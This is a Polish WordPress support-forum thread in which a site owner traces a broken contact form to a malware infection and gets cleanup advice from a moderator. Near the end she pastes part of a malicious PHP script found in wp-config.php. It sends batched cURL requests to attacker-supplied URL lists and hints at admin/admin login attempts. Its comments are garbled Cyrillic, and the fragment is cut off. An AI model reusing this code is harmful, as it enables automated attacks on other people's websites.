Wsparcie » Używanie i konfiguracja WordPressa » Formularz kontaktowy przestał działać

  • persefona132

    (@persefona132)


    Witam,
    Właśnie zauważyłam, że formularz kontaktowy na stronie przestał działać.
    Pojawia się informacja „Wiadomość nie została wysłana. Spróbuj ponownie później”.
    Czy może mieć to jakiś związek z ostatnimi aktualizacjami?
    Jak naprawić formularz?
    Strona: http://www.akademiametamorfoz.pl

    Z góry dziękuję.

Viewing 12 replies - 1 through 12 (of 12 total)
  • Moderator amistad18

    (@amistad18)

    Być może, ale raczej jest to wina źle napisanego formularza kontaktowego.

    Proponuję skontaktować się z autorem szablonu, bądź autorem samego skryptu formularza:

    wp-content/themes/akademia-metamorfoz/page-contact-sender.php

    Thread Starter persefona132

    (@persefona132)

    Właśnie sprawdzałam ,i nie działa mi żaden formularz na żadnej z 3 stron. Problem tkwi więc pewnie w serwerze. Czekam na odzew z firmy hostingowej i zobaczymy..

    Thread Starter persefona132

    (@persefona132)

    No i okazało się, że jakiś wirus wkradł się na wszystkie strony. Zainfekowane pliki zostały już usunięte ale pozostaje kwestia zabepzieczenia skryptów, jak najlepiej i najłatwiej to zrobić?

    Moderator amistad18

    (@amistad18)

    Najłatwiej zlecić to komuś, możesz spróbować tutaj:
    http://wpzlecenia.pl

    Te wszystkie autorskie skrypty przydało by się przejrzeć i sprawdzić czy nie ma w nich żadnych podatności. Od razu też zmień sobie hasło do FTP, gdyż z mojego doświadczenia wynika że jest to najczęstsza przyczyna włamań.

    Thread Starter persefona132

    (@persefona132)

    Dzięki. JEdnak dziś widzę, że po usunięciu zainfekowanych plików, pojawił się problem z wyświetlaniem jednej ze stron http://www.akademiametamorfoz.pl

    Pojawia się informacja:

    Warning: require(/home/joanna13/domains/akademiametamorfoz.pl/public_html/wp-includes/post.php) [function.require]: failed to open stream: No such file or directory in /home/joanna13/domains/akademiametamorfoz.pl/public_html/wp-settings.php on line 128

    Warning: require(/home/joanna13/domains/akademiametamorfoz.pl/public_html/wp-includes/post.php) [function.require]: failed to open stream: No such file or directory in /home/joanna13/domains/akademiametamorfoz.pl/public_html/wp-settings.php on line 128

    Fatal error: require() [function.require]: Failed opening required '/home/joanna13/domains/akademiametamorfoz.pl/public_html/wp-includes/post.php’ (include_path=’.:/usr/local/php52/lib/php/’) in /home/joanna13/domains/akademiametamorfoz.pl/public_html/wp-settings.php on line 128

    Jak poprawić kod lub pliki aby strona wyświetlała się poprawnie?

    Moderator amistad18

    (@amistad18)

    wp-includes/post.php

    To jest plik WordPressa – pewnie podczas czyszczenia usunąłeś go przez przypadek. Wgraj na nowo ręcznie pliki WordPressa, katalog wp-admin, wp-includes, wp-content zostaw w spokoju.

    Thread Starter persefona132

    (@persefona132)

    Ale jak mam go wgrać? Skąd o wziąć jak został skasowany? 🙂

    Moderator amistad18

    (@amistad18)

    Strona główna

    Klikasz duży niebieski napis Pobierz WordPressa.

    Thread Starter persefona132

    (@persefona132)

    Ok, wgrałam plik. Ale strona nadal się nie wyświetla. Tym razem nie pojawia się żaden komunikat..

    Moderator amistad18

    (@amistad18)

    Na pewno nie nadpisywałaś katalogu wp-content?

    W wp-config.php ustaw wp_debug na true:
    http://codex.wordpress.org/Debugging_in_WordPress

    Thread Starter persefona132

    (@persefona132)

    Hm, dziwną zawartość ma ten plik. Nie wiem czy tu nie zagnieżdził się ajkiś wirus. Oto kawałek kodu:

    <?php
    ini_set('max_execution_time',0);
    ini_set('memory_limit', '128M');
    ini_set("display_errors",0);
    
    function multiCurl($data, $options = array())
    {
      $curls = array();
      $result = array();
      $mh = curl_multi_init();
      foreach ($data as $id => $d) {
    
        $curls[$id] = curl_init();
        $url = (is_array($d) && !empty($d['url'])) ? $d['url'] : $d;
        // Ĺńëč $d ýňî ěŕńńčâ (ęŕę â ńëó÷ŕĺ ń ďîńň), ňî äîńňŕĺě čç ěŕńńčâŕ url
        // ĺńëč ýňî íĺ ěŕńńčâ, ŕ óćĺ ńńűëęŕ - ňî áĺđĺě ńđŕçó ńńűëęó
    
        curl_setopt($curls[$id], CURLOPT_URL,            $url);
        curl_setopt($curls[$id], CURLOPT_HEADER,         1);
    	curl_setopt($curls[$id], CURLOPT_CONNECTTIMEOUT, 10);
        curl_setopt($curls[$id], CURLOPT_TIMEOUT, 10);
        curl_setopt($curls[$id], CURLOPT_RETURNTRANSFER, 1);
    	$headers = array
    	(
    		'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*;q=0.8',
    		'Accept-Language: ru,en-us;q=0.7,en;q=0.3',
    		'Accept-Encoding: deflate',
    		'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7',
    		'User-agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
    		'Cookie: wordpress_test_cookie=WP Cookie check; path=/'
    	);
    	curl_setopt($curls[$id], CURLOPT_HTTPHEADER, $headers); 
    
        // Ĺńëč ó íŕń ĺńňü ďîńň äŕííűĺ, ňîĺńňü çŕďđîń îňďđŕâë˙ĺňń˙ ďîńňîě
        // óńňŕíŕâëčâŕĺě ôëŕăč č äîáŕâë˙ĺě ńŕěč äŕííűĺ
        if (is_array($d) && !empty($d['post']))
        {
            curl_setopt($curls[$id], CURLOPT_POST,       1);
            curl_setopt($curls[$id], CURLOPT_POSTFIELDS, $d['post']);
        }
        if (count($options)>0) curl_setopt_array($curls[$id], $options);
    
        curl_multi_add_handle($mh, $curls[$id]);
      }
      $running = null;
    
      do { curl_multi_exec($mh, $running); } while($running > 0);
    
      // Ńîáčđŕĺě čç âńĺő ńîçäŕííűő ěĺőŕíčçěîâ đĺçóëüňŕňű, ŕ ńŕěč ěĺőŕíčçěű óäŕë˙ĺě
      foreach($curls as $id => $c)
      {
        $result[$id] = curl_multi_getcontent($c);
        curl_multi_remove_handle($mh, $c);
      }
    
      // Îńâîáîćäŕĺě ďŕě˙ňü îň ěĺőŕíčçěŕ ěóëüňčďîňîęîâ
      curl_multi_close($mh);
    
      // âîçâđŕůŕĺě äŕííűĺ ńîáđŕííűĺ čç âńĺő ďîňîęîâ.
      return $result;
    }
    
    if ($_POST['do']=='login')
    {
    	$urls = array();
    	$urls = $_POST['urls'];
    	$script = $_SERVER['REQUEST_URI'];
    	$urls = explode("\r\n", $urls);
    	$data = array();
    	$i=0;
    
    	foreach($urls as $url)
    	{
    		//echo file_get_contents('http://'.$_SERVER['SERVER_NAME'].$script.'?url='.$url.'&login=admin&pass=admin');
    	   $data[$i] = array('url' =>  $url);
    	   $i++;
    Moderator amistad18

    (@amistad18)

    To jest wp-config? Wszystko tam to syf, nie ma to za wiele wspólnego z oryginalnym wp-configiem.

    Jeszcze raz należy wyczyścić pliki z syfu, tym razem porządnie, albo jak już pisałem – zleć to komuś, jeżeli jeszcze nigdy nie czyściłaś WP z syfu to zaoszczędzisz dużo czasu i nerwów.

Viewing 12 replies - 1 through 12 (of 12 total)
  • Temat ‘Formularz kontaktowy przestał działać’ jest zamknięty na nowe odpowiedzi.